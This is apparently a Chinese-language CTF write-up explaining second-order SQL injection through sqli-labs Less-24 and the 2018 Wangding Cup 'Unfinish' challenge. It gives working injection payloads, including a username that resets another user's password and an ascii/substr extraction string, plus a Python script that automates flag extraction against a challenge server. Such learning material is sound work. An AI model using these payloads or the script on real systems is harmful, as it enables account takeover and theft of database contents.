先來一段理論
二次SQL隱碼攻擊(Second-Order SQL Injection)是一種特殊型別的SQL隱碼攻擊。與一般的SQL隱碼攻擊類似,攻擊者會透過輸入惡意的SQL語句來執行非法操作。而二次SQL隱碼攻擊則是指攻擊者在應用程式中注入惡意的資料,然後等待應用程式將這些資料儲存在資料庫中。當應用程式再次從資料庫中讀取這些資料時,惡意資料就會被讀取出來,並執行惡意操作。例如,一個web應用程式可能會將使用者輸入的內容儲存在資料庫中,然後在後續的頁面中將這些內容顯示出來。如果攻擊者在使用者輸入中注入了惡意SQL語句,那麼這些語句會被儲存在資料庫中。當應用程式從資料庫中讀取這些內容並在後續的邏輯中使用時,惡意SQL語句就有可能被執行,從而導致攻擊成功。
例題
sqli靶場的Less-24
開啟靶場發現是一個登入頁面,需要我們輸入使用者名稱和密碼
觀察一下,一般都存在註冊頁面,那麼下方的New User click here應該就是註冊頁面
我們先註冊一個使用者test密碼是123,之後跳轉至登入頁面
使用test/123登入,發現登入成功,並且帶有使用者名稱的回顯,這裡就存在二次注入的風險
首先,當我們在註冊頁面輸入使用者名稱和密碼時,網站會把輸入的資料儲存在資料庫中
而當我們登入成功後會把使用者名稱回顯在網頁上,這說明網站又呼叫資料庫,並從中把資料庫中的資料取了出來,如果我們在註冊頁面就插入惡意程式碼,在在重置密碼的頁面呼叫,即可實現注入
我們註冊一個新使用者test'#,密碼是1234
登入後修改密碼為110120,發現test'#使用者的密碼沒變,而test使用者密碼變成了110120
檢視下原始碼
發現當我們輸入test'#時,閉合了sql查詢語句username的前一個單引號,而註釋符號後面的內容無效,此時sql語句變為
UPDATE users SET PASSWORD='$pass' where username='test'#' and password='$curr_pass' "等效於UPDATE users SET PASSWORD='$pass' where username='test'
那麼最後改變的就是test使用者的密碼
此時,如果我們在註冊頁面的使用者名稱輸入的是類似於ascii(substr((select database()) from 1 for 1))的語句,即可實現從資料庫中讀取資料,完成注入!
2018網鼎杯Unfinish
這道題與上題類似,但難度更高
開啟是一個登入介面,憑經驗來說,這種一般還存在註冊頁面,只是ctf的題沒有跳轉的介面,需要自己尋找(掃後臺dirsearch、御劍都可以),或者直接盲猜
來到註冊頁面,發現我們需要輸入郵箱、使用者名稱和密碼,嘗試輸入
註冊後又跳轉到了登入頁面
透過郵箱和密碼實現登入後,發現來到另一個介面index.php,並且有qwe的回顯,考慮二次注入的方向。
這裡的邏輯基本就是在註冊頁面注入惡意資料,在登入頁面呼叫資料庫中的髒資料,實現注入1,最後把結果返回到index.php頁面
ok
開始注入,先拿一個注入舉例子,之後可以寫指令碼實現批次注入
就拿實現成功回顯資料庫名的第一個字元為例
我們在註冊頁面的使用者名稱欄輸入0'+ascii(substr((select database()) from 1 for 1))+'0
之後登入,發現此時回顯的不是使用者名稱0'+ascii(substr((select database()) from 1 for 1))+'0,而是119,就是資料庫名稱的第一個字元,檢視acii碼錶,發現是小寫w
ok,之後實現批次注入
指令碼如下
1 #coding:utf-8 2 import requests 3 from bs4 import BeautifulSoup 4 import time 5 6 7 url = 'http://61.147.171.105:52577/' 8 9 m = '' 10 for i in range(100): 11 #payload = "0'+ascii(substr((select database()) from {} for 1))+'0".format(i + 1) 12 payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)#判斷每一位ascii碼是多少 13 register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'} 14 login = {'email':'abc{}@qq.com'.format(i),'password':'123456'} 15 req = requests.session() 16 r1 = req.post(url+'register.php',data = register) 17 r2 = req.post(url+'login.php', data = login) 18 r3 = req.post(url+'index.php') 19 html = r3.text 20 #print(html) 21 soup = BeautifulSoup(html,'html.parser') 22 #print(soup.prettify()) 23 UserName = soup.span.string 24 print(UserName) 25 if int(UserName) == 0: 26 break 27 m += chr(int(UserName)) 28 print(m) 29 time.sleep(1)
執行指令碼即可獲得flag
注意點
關於本題SQL中如何閉合單引號的問題
因為此題中#被過濾,導致我們無法閉合單引號
MySQL中的+只能當做運算子,而不能用作字串的連線符號,如下圖
當+兩邊一邊是數值,一邊是字串時,會將字串轉換為數值之後再相加,如果我們輸入0'+ascii()+'0,最後就會變為'0'+ascii()+'0'即為ascii(),成功完成注入!
requests.exceptions.ConnectTimeout
執行py指令碼,一開始經常報錯
requests.exceptions.ConnectTimeout
查了一下是因為設定的時間太短,當伺服器在指定的時間內未做出響應,則會丟擲requests.exceptions.ConnectTimeout的錯誤
具體可以參考文章:https://blog.csdn.net/yuan2019035055/article/details/126628852
總結
SQL的二次注入是兩個頁面執行了同一處輸入點,導致第二次執行了已經儲存在資料庫中的惡意程式碼,讓攻擊者完成注入!
本菜鳥也嘗試開始寫點py指令碼,像本題中就使用了beautifulSoup的第三方庫來完成對flag的提取。
參考部落格:
https://blog.csdn.net/qq_53079406/article/details/125284454?app_version=6.3.2&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22125284454%22%2C%22source%22%3A%22m0_75046593%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app
https://blog.csdn.net/qq_54929891/article/details/124911240?app_version=6.3.2&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22124911240%22%2C%22source%22%3A%22m0_75046593%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app
https://zhuanlan.zhihu.com/p/39917830